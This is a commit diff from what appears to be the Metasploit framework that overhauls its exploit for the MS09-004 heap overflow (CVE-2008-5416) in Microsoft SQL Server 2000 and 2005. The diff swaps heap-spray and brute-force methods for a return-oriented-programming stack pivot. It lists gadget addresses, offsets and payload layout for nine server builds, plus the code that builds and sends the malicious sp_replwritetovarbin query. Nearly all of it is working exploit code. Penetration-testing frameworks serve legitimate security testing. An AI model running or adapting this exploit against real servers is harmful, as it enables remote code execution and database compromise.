major overhaul of ms09-004 (cve-2008-5416) exploit
git-svn-id: file:///home/svn/framework3/trunk@8151 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
08eb80f4a9
commit
52b71077d3
|
@ -21,10 +21,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
|
||||
'Description' => %q{
|
||||
A heap-based buffer overflow can occur when calling the undocumented
|
||||
A heap-based buffer overflow can occur when calling the undocumented
|
||||
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
|
||||
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
|
||||
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
|
||||
Microsoft patched this vulnerability in SP3 for 2005 without any public
|
||||
mention.
|
||||
|
||||
This exploit smashes several pointers, as shown below.
|
||||
|
||||
|
@ -38,24 +40,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
|
||||
a displacement of 4. This pointer is not used by this exploit.
|
||||
|
||||
There are two different methods used by this exploit, which have been named
|
||||
"writeNcall" and "sprayNbrute".
|
||||
|
||||
The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers
|
||||
2 and 3, as well as a writeable address. This method is quite reliable. However,
|
||||
it relies on the the operation on pointer 2. Newer versions of SQL server
|
||||
(>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a
|
||||
restriction that the code address that leads to the payload (jmp ecx in this
|
||||
case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such
|
||||
addresses were found in memory.
|
||||
|
||||
For this reason, the second method, "sprayNbrute" is used. First a heap-spray
|
||||
is used to prime memory with lots of copies of the address of our code that
|
||||
leads to the payload (jmp ecx). Next, brute force is used to try to guess a
|
||||
value for pointer 3 that points to the sprayed data.
|
||||
|
||||
A new method of spraying the heap inside MSSQL is presented. Sadly, it only
|
||||
allows the creation of a bunch of 8000 byte buffers.
|
||||
This particular exploit replaces the previous dual-method exploit. It uses
|
||||
a technique where the value contained in ecx becomes the stack. From there,
|
||||
return oriented programming is used to normalize the execution state and
|
||||
finally execute the payload via a "jmp esp". All addresses used were found
|
||||
within the sqlservr.exe memory space, yielding very reliable code execution
|
||||
using only a single query.
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -75,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "", # nul bytes are ok!
|
||||
'StackAdjustment' => -3500,
|
||||
'BadChars' => "", # bad bytes get encoded!
|
||||
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
@ -94,58 +84,162 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Aug 6 2000 00:57:48
|
||||
'MSSQL 2000 / MSDE SP0 (8.00.194)',
|
||||
{
|
||||
'Method' => 'writeNcall',
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
|
||||
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)
|
||||
'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]
|
||||
'Disp' => 0x08, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret
|
||||
'Popped' => 0x4, # byte count popped in above (before ret)
|
||||
'Offset' => 0x28, # offset to the new stack!
|
||||
'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)
|
||||
'Ret' => 0x0041c9a2 # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[
|
||||
# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)
|
||||
# May 23 2001 00:02:52
|
||||
'MSSQL 2000 / MSDE SP1 (8.00.384)',
|
||||
{
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
|
||||
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]
|
||||
'Disp' => 0x34, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
|
||||
'Popped' => 0x8, # byte count popped in above (before ret)
|
||||
'Offset' => 0x28, # offset to the new stack!
|
||||
'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)
|
||||
'Ret' => 0x004caa15 # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[
|
||||
# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
|
||||
# Nov 19 2001 13:23:50
|
||||
'MSSQL 2000 / MSDE SP2 (8.00.534)',
|
||||
{
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
|
||||
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]
|
||||
'Disp' => 0x34, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
|
||||
'Popped' => 0x8, # byte count popped in above (before ret)
|
||||
'Offset' => 0x28, # offset to the new stack!
|
||||
'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)
|
||||
'Ret' => 0x004ca984 # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[
|
||||
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
|
||||
# Dec 17 2002 14:22:05
|
||||
'MSSQL 2000 / MSDE SP3 (8.00.760)',
|
||||
{
|
||||
'Method' => 'sprayNbrute',
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
|
||||
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3)
|
||||
'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]
|
||||
'Disp' => 0x34, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
|
||||
'Popped' => 0x8, # byte count popped in above (before ret)
|
||||
'Offset' => 0x28, # offset to the new stack!
|
||||
'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)
|
||||
'Ret' => 0x0043fa97 # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[
|
||||
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
|
||||
# May 3 2005 23:18:38
|
||||
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
|
||||
{
|
||||
'Method' => 'sprayNbrute',
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
|
||||
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
#'Vtable' => 0x42c300c8, # ugh!
|
||||
'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4)
|
||||
#'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000)
|
||||
#'Ret' => 0x7ca7dc96 # push ecx|pop esp|pop ebp|retn 8 - in shell32 on 2k3sp2
|
||||
'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]
|
||||
'Disp' => 0x14, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
|
||||
'Popped' => 0x4, # byte count popped in above (before ret)
|
||||
'Offset' => 0x20, # offset to the new stack!
|
||||
'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)
|
||||
'Ret' => 0x0047c89d # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[
|
||||
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
||||
# Oct 14 2005 00:33:37
|
||||
'MSSQL 2005 (9.00.1399.06)',
|
||||
'MSSQL 2005 SP0 (9.00.1399.06)',
|
||||
{
|
||||
'Method' => 'sprayNbrute',
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
|
||||
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec)
|
||||
'Ret' => 0x49a9835f # jmp ecx ?
|
||||
'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]
|
||||
'Disp' => 0x50, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret
|
||||
'Popped' => 0x4, # byte count popped in above (before ret)
|
||||
'Offset' => 0x20, # offset to the new stack!
|
||||
'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)
|
||||
'Ret' => 0x0112c2c7 # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[
|
||||
# debugging...
|
||||
'CRASHER',
|
||||
# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
|
||||
# Apr 14 2006 01:12:25
|
||||
'MSSQL 2005 SP1 (9.00.2047.00)',
|
||||
{
|
||||
'Method' => 'sprayNbrute',
|
||||
'Writable' => 0xcafebabe,
|
||||
'Vtable' => 0xfeedfed5,
|
||||
'Ret' => 0xdeadbeef
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
|
||||
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]
|
||||
'Disp' => 0x52, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret
|
||||
'Popped' => 0x4, # byte count popped in above (before ret)
|
||||
'Offset' => 0x20, # offset to the new stack!
|
||||
'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)
|
||||
'Ret' => 0x011b204c # jmp esp
|
||||
},
|
||||
]
|
||||
],
|
||||
|
||||
[
|
||||
# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
|
||||
# Feb 9 2007 22:47:07
|
||||
'MSSQL 2005 SP2 (9.00.3042.00)',
|
||||
{
|
||||
'Num' => 32, # value for "start_offset"
|
||||
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
|
||||
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
|
||||
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
|
||||
'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)
|
||||
'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]
|
||||
'Disp' => 0x52, # displacement on call [ecx+disp] used
|
||||
'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret
|
||||
'Popped' => 0x4, # byte count popped in above (before ret)
|
||||
'Offset' => 0x20, # offset to the new stack!
|
||||
'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)
|
||||
'Ret' => 0x010a5379 # jmp esp
|
||||
},
|
||||
],
|
||||
|
||||
[ 'CRASHER', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 09 2008'
|
||||
|
@ -167,9 +261,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# TODO: add more versions
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
|
||||
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -184,12 +282,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if (version =~ /8\.00\.194/)
|
||||
mytarget = targets[1]
|
||||
elsif (version =~ /8\.00\.760/)
|
||||
elsif (version =~ /8\.00\.384/)
|
||||
mytarget = targets[2]
|
||||
elsif (version =~ /8\.00\.2039/)
|
||||
elsif (version =~ /8\.00\.534/)
|
||||
mytarget = targets[3]
|
||||
elsif (version =~ /9\.00\./)
|
||||
elsif (version =~ /8\.00\.760/)
|
||||
mytarget = targets[4]
|
||||
elsif (version =~ /8\.00\.2039/)
|
||||
mytarget = targets[5]
|
||||
elsif (version =~ /9\.00\.1399\.06/)
|
||||
mytarget = targets[6]
|
||||
elsif (version =~ /9\.00\.2047\.00/)
|
||||
mytarget = targets[7]
|
||||
elsif (version =~ /9\.00\.3042\.00/)
|
||||
mytarget = targets[8]
|
||||
end
|
||||
|
||||
if mytarget.nil?
|
||||
|
@ -201,191 +307,89 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mytarget = target
|
||||
end
|
||||
|
||||
if mytarget['Method'] == 'sprayNbrute'
|
||||
exploit_spray_and_brute(mytarget)
|
||||
elsif mytarget['Method'] == 'writeNcall'
|
||||
exploit_write_and_call(mytarget)
|
||||
else
|
||||
raise RuntimeError, "Invalid exploitation method specified."
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# prepare a known address pointing to jmp ecx!
|
||||
def exploit_write_and_call(mytarget)
|
||||
|
||||
# write the 4 bytes..
|
||||
packed_ret = [mytarget['Ret']].pack('V')
|
||||
x = 0
|
||||
packed_ret.unpack('C*').each do |byte|
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Invalid SQL Server credentials"
|
||||
end
|
||||
|
||||
addr = mytarget['Writable'] + x
|
||||
|
||||
# write a single byte value to an arbitrary address (using this vuln)
|
||||
print_status("Writing 0x%02x to %#x ..." % [byte, addr])
|
||||
|
||||
num = 16
|
||||
sz = num + 179
|
||||
buf = rand_text_alphanumeric(sz)
|
||||
# this corresponds to mov [eax+4], ecx
|
||||
buf << [addr - 4].pack('V')
|
||||
|
||||
# this causes a length value to have the lsb of our byte
|
||||
len = 0x169
|
||||
if (len & 0xff) < byte
|
||||
len = byte - (len & 0xff)
|
||||
else
|
||||
len = (0x200 - len) + byte
|
||||
end
|
||||
extra = rand_text_alphanumeric(len)
|
||||
|
||||
write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'|
|
||||
buf = mssql_encode_string(buf)
|
||||
sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra)
|
||||
begin
|
||||
ret = mssql_query(sql, false)
|
||||
rescue ::Errno::ECONNRESET, EOFError
|
||||
print_error("Error: #{$!}")
|
||||
end
|
||||
|
||||
x += 1
|
||||
end
|
||||
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Invalid SQL Server credentials"
|
||||
end
|
||||
|
||||
# call to ecx via the ptr we wrote
|
||||
print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable'])
|
||||
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
|
||||
set @buf='declare @e int,@b varbinary,@l int;'
|
||||
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
|
||||
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
|
||||
exec master..sp_executesql @buf
|
||||
|
|
||||
# make sploit buff
|
||||
num = 16
|
||||
sz = num + 179
|
||||
sploit = make_nops(sz-2)
|
||||
sploit << "\xeb\x04"
|
||||
sploit << [mytarget['Writable'] + 8].pack('V')
|
||||
sploit << payload.encoded
|
||||
sploit[3,4] = [mytarget['Writable']-0x38].pack('V')
|
||||
|
||||
# just crash it with a pattern buffer if the CRASHER target is selected..
|
||||
if mytarget.name == 'CRASHER'
|
||||
sploit = Rex::Text.pattern_create(2048)
|
||||
print_status("Attempting to corrupt memory to cause an exception!")
|
||||
num = 32
|
||||
else
|
||||
# trigger the memory corruption
|
||||
num = mytarget['Num']
|
||||
vt_off = mytarget['VtOff']
|
||||
vt_disp = mytarget['VtDisp']
|
||||
vtable = mytarget['Vtable']
|
||||
ecx_disp = mytarget['Disp']
|
||||
esp_off = mytarget['Offset']
|
||||
hijack_esp = mytarget['ecx2esp']
|
||||
first_esp = mytarget['Popped']
|
||||
fix_esp = mytarget['FixESP']
|
||||
writable = mytarget['Writable']
|
||||
|
||||
# make sploit buff
|
||||
sz = (num + vt_off) + esp_off + 6 + 2 + 0x38 + payload.encoded.length
|
||||
#sploit = Rex::Text.pattern_create(sz)
|
||||
sploit = rand_text_alphanumeric(sz)
|
||||
|
||||
# remove displacement! (using call [ecx+displacement])
|
||||
vtable_off = (num + vt_off)
|
||||
sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
|
||||
|
||||
# stack -> heap
|
||||
hijack_off = vtable_off + ecx_disp
|
||||
sploit[hijack_off,4] = [hijack_esp].pack('V')
|
||||
# becomes eax on mssql 2ksp4 (prevent crash)
|
||||
sploit[(vtable_off-4),4] = [writable].pack('V')
|
||||
|
||||
# becomes eip after esp hijack
|
||||
fixesp_off = vtable_off + first_esp
|
||||
sploit[fixesp_off,4] = [fix_esp].pack('V')
|
||||
|
||||
# rest of magic stack (disable DEP?)
|
||||
stack_off = vtable_off + esp_off
|
||||
stack = []
|
||||
stack << mytarget['Ret']
|
||||
stack = stack.pack('V*')
|
||||
# jump over the stuff that gets corrupted
|
||||
stack << "\xeb\x38"
|
||||
stack << "\xcc" * 0x38
|
||||
stack << payload.encoded
|
||||
sploit[stack_off,stack.length] = stack
|
||||
|
||||
# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
|
||||
sploit[hijack_off,4] = [hijack_esp].pack('V')
|
||||
|
||||
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
|
||||
end
|
||||
|
||||
# encode chars that get modified
|
||||
enc = mssql_encode_string(sploit)
|
||||
sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc)
|
||||
ret = mssql_query(sql)
|
||||
|
||||
# put the number in (start offset)
|
||||
runme = sqlquery.gsub(/%NUM%/, num.to_s)
|
||||
runme.gsub!(/%STUFF%/, enc)
|
||||
|
||||
# go!
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Unable to log in!"
|
||||
end
|
||||
begin
|
||||
mssql_query(runme)
|
||||
rescue ::Errno::ECONNRESET, EOFError
|
||||
print_error("Error: #{$!}")
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
def exploit_spray_and_brute(mytarget)
|
||||
|
||||
brute_count = 1000
|
||||
brute_step = 4096
|
||||
spray = true
|
||||
spray = false if mytarget.opts.has_key?('nospray')
|
||||
|
||||
if spray
|
||||
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Invalid SQL Server credentials"
|
||||
end
|
||||
|
||||
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])
|
||||
|
||||
# spray the heap! (count of 'max' blocks of 8000 bytes...)
|
||||
query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s"
|
||||
query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s|
|
||||
|
||||
addr = mssql_str_to_chars([mytarget['Ret']].pack('V'))
|
||||
=begin
|
||||
search_cmd = "s -b 0 L?-1 41 41"
|
||||
search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ')
|
||||
print_status("search command: " + search_cmd)
|
||||
=end
|
||||
max = 1000
|
||||
part = max / 10
|
||||
part = 1 if part < 1
|
||||
max.times do |x|
|
||||
print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0)
|
||||
|
||||
marker = [0x41414141 + x].pack('V')
|
||||
|
||||
q2run = query2.gsub(/%MARKER%/, marker)
|
||||
q2run.gsub!(/%ADDR%/, addr)
|
||||
q2run.gsub!(/\'/, "\'\'")
|
||||
runme = query.gsub(/%QUERY2%/, q2run)
|
||||
|
||||
break if not mssql_query(runme)
|
||||
end
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
|
||||
set @buf='declare @e int,@b varbinary,@l int;'
|
||||
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
|
||||
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
|
||||
exec master..sp_executesql @buf
|
||||
|
|
||||
|
||||
# trigger the memory corruption
|
||||
brute_count.times do |x|
|
||||
vtable = mytarget['Vtable'] + (x * brute_step)
|
||||
|
||||
# make sploit buff
|
||||
num = 16
|
||||
sz = num + 179
|
||||
sploit = make_nops(sz-2)
|
||||
#sploit = "\x90" * (sz-2)
|
||||
sploit << "\xeb\x04"
|
||||
sploit << [mytarget['Writable'] + 8].pack('V')
|
||||
sploit << payload.encoded
|
||||
|
||||
# mssql 2000 vtable ptr smashed!
|
||||
sploit[num-13,4] = [vtable-0x38].pack('V')
|
||||
|
||||
# mssql 2005 stuff:
|
||||
# the vtable is deref'd twice here
|
||||
# - first time ecx points at our buffer and the offset is 0x10
|
||||
# - second time esp+8 points to our buffer and the offset is 0x04
|
||||
sploit[num+63,4] = [vtable-0x10].pack('V')
|
||||
#sploit[num+407,4] = [vtable-0x4].pack('V')
|
||||
|
||||
# encode chars that get modified
|
||||
enc = mssql_encode_string(sploit)
|
||||
|
||||
# put the number in (start offset)
|
||||
runme = sqlquery.gsub(/%NUM%/, num.to_s)
|
||||
runme.gsub!(/%STUFF%/, enc)
|
||||
|
||||
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)
|
||||
|
||||
# go!
|
||||
if (not mssql_login_datastore)
|
||||
raise RuntimeError, "Unable to log in!"
|
||||
end
|
||||
begin
|
||||
mssql_query(runme)
|
||||
rescue ::Errno::ECONNRESET, EOFError
|
||||
print_error("Error: #{$!}")
|
||||
end
|
||||
|
||||
handler
|
||||
break if session_created?
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def mssql_str_to_chars(str)
|
||||
ret = ""
|
||||
str.unpack('C*').each do |ch|
|
||||
|
@ -441,7 +445,12 @@ exec master..sp_executesql @buf
|
|||
|
||||
|
||||
def mssql_query_version
|
||||
if (not mssql_login_datastore)
|
||||
begin
|
||||
logged_in = mssql_login_datastore
|
||||
rescue ::ConnectionRefused
|
||||
raise RuntimeError, "Unable to connect: connection refused"
|
||||
end
|
||||
if (not logged_in)
|
||||
raise RuntimeError, "Invalid SQL Server credentials"
|
||||
end
|
||||
res = mssql_query("select @@version")
|
||||
|
|
Loading…
Reference in New Issue